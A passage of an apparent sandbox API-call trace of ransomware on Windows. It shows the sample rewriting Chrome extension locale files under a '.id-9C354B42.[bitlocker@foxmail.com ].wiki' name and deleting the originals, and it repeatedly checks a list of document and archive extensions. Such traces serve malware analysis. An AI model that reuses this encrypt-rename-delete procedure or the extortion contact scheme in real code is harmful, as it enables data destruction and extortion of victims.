lpOverlapped=0x0) returned 1 [0175.337] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0175.338] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.338] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.338] SetEndOfFile (hFile=0x2dc) returned 1 [0175.338] CloseHandle (hObject=0x2dc) returned 1 [0175.338] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.338] SetEndOfFile (hFile=0x19c) returned 1 [0175.339] CloseHandle (hObject=0x19c) returned 1 [0175.339] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.339] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json")) returned 1 [0175.339] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.339] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.339] lstrlenW (lpString=".doc") returned 4 [0175.340] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.340] lstrlenW (lpString=".docx") returned 5 [0175.340] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.340] lstrlenW (lpString=".pdf") returned 4 [0175.340] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.340] lstrlenW (lpString=".xls") returned 4 [0175.340] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.340] lstrlenW (lpString=".xlsx") returned 5 [0175.340] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.340] lstrlenW (lpString=".ppt") returned 4 [0175.340] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.340] lstrlenW (lpString=".zip") returned 4 [0175.340] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.340] lstrlenW (lpString=".rar") returned 4 [0175.340] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.340] lstrlenW (lpString=".bz2") returned 4 [0175.340] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.340] lstrlenW (lpString=".7z") returned 3 [0175.340] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.340] lstrlenW (lpString=".dbf") returned 4 [0175.340] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.340] lstrlenW (lpString=".1cd") returned 4 [0175.340] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.341] lstrlenW (lpString=".jpg") returned 4 [0175.341] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.341] lstrlenW (lpString=".doc") returned 4 [0175.341] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.341] lstrlenW (lpString=".docx") returned 5 [0175.341] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.341] lstrlenW (lpString=".pdf") returned 4 [0175.341] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.341] lstrlenW (lpString=".xls") returned 4 [0175.341] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.341] lstrlenW (lpString=".xlsx") returned 5 [0175.341] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.341] lstrlenW (lpString=".ppt") returned 4 [0175.341] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.341] lstrlenW (lpString=".zip") returned 4 [0175.341] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.341] lstrlenW (lpString=".rar") returned 4 [0175.341] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.341] lstrlenW (lpString=".bz2") returned 4 [0175.341] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.342] lstrlenW (lpString=".7z") returned 3 [0175.342] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.342] lstrlenW (lpString=".dbf") returned 4 [0175.342] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.342] lstrlenW (lpString=".1cd") returned 4 [0175.342] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 151 [0175.342] lstrlenW (lpString=".jpg") returned 4 [0175.342] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.342] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.342] lstrlenW (lpString="messages.json") returned 13 [0175.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.342] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=219) returned 1 [0175.343] CloseHandle (hObject=0x19c) returned 1 [0175.343] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json")) returned 0x2020 [0175.343] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.343] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.343] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.343] GetLastError () returned 0x0 [0175.343] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xdb, lpOverlapped=0x0) returned 1 [0175.344] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.345] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.345] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.345] SetEndOfFile (hFile=0x2dc) returned 1 [0175.346] CloseHandle (hObject=0x2dc) returned 1 [0175.346] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.346] SetEndOfFile (hFile=0x19c) returned 1 [0175.347] CloseHandle (hObject=0x19c) returned 1 [0175.347] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.347] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json")) returned 1 [0175.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.347] lstrlenW (lpString=".doc") returned 4 [0175.347] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.347] lstrlenW (lpString=".docx") returned 5 [0175.347] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.347] lstrlenW (lpString=".pdf") returned 4 [0175.347] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.347] lstrlenW (lpString=".xls") returned 4 [0175.347] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.347] lstrlenW (lpString=".xlsx") returned 5 [0175.347] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.347] lstrlenW (lpString=".ppt") returned 4 [0175.348] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.348] lstrlenW (lpString=".zip") returned 4 [0175.348] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.348] lstrlenW (lpString=".rar") returned 4 [0175.348] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.348] lstrlenW (lpString=".bz2") returned 4 [0175.348] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.348] lstrlenW (lpString=".7z") returned 3 [0175.348] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.348] lstrlenW (lpString=".dbf") returned 4 [0175.348] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.348] lstrlenW (lpString=".1cd") returned 4 [0175.348] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.348] lstrlenW (lpString=".jpg") returned 4 [0175.348] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.348] lstrlenW (lpString=".doc") returned 4 [0175.348] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.348] lstrlenW (lpString=".docx") returned 5 [0175.348] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.348] lstrlenW (lpString=".pdf") returned 4 [0175.349] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.349] lstrlenW (lpString=".xls") returned 4 [0175.349] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.349] lstrlenW (lpString=".xlsx") returned 5 [0175.349] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.349] lstrlenW (lpString=".ppt") returned 4 [0175.349] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.349] lstrlenW (lpString=".zip") returned 4 [0175.349] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.349] lstrlenW (lpString=".rar") returned 4 [0175.349] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.349] lstrlenW (lpString=".bz2") returned 4 [0175.349] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.349] lstrlenW (lpString=".7z") returned 3 [0175.349] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.349] lstrlenW (lpString=".dbf") returned 4 [0175.349] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.349] lstrlenW (lpString=".1cd") returned 4 [0175.349] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.349] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 151 [0175.349] lstrlenW (lpString=".jpg") returned 4 [0175.349] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.350] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.350] lstrlenW (lpString="messages.json") returned 13 [0175.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.350] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=222) returned 1 [0175.350] CloseHandle (hObject=0x19c) returned 1 [0175.350] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json")) returned 0x2020 [0175.350] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.351] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.351] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.351] GetLastError () returned 0x0 [0175.351] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xde, lpOverlapped=0x0) returned 1 [0175.352] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.353] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.353] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.353] SetEndOfFile (hFile=0x2dc) returned 1 [0175.353] CloseHandle (hObject=0x2dc) returned 1 [0175.354] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.354] SetEndOfFile (hFile=0x19c) returned 1 [0175.354] CloseHandle (hObject=0x19c) returned 1 [0175.354] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.355] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json")) returned 1 [0175.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.355] lstrlenW (lpString=".doc") returned 4 [0175.355] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.355] lstrlenW (lpString=".docx") returned 5 [0175.355] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.355] lstrlenW (lpString=".pdf") returned 4 [0175.355] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.355] lstrlenW (lpString=".xls") returned 4 [0175.355] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.355] lstrlenW (lpString=".xlsx") returned 5 [0175.355] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.355] lstrlenW (lpString=".ppt") returned 4 [0175.355] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.355] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.355] lstrlenW (lpString=".zip") returned 4 [0175.355] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.355] lstrlenW (lpString=".rar") returned 4 [0175.356] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.356] lstrlenW (lpString=".bz2") returned 4 [0175.356] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.356] lstrlenW (lpString=".7z") returned 3 [0175.356] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 151 [0175.356] lstrlenW (lpString=".dbf") returned 4 [0175.356] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.356] 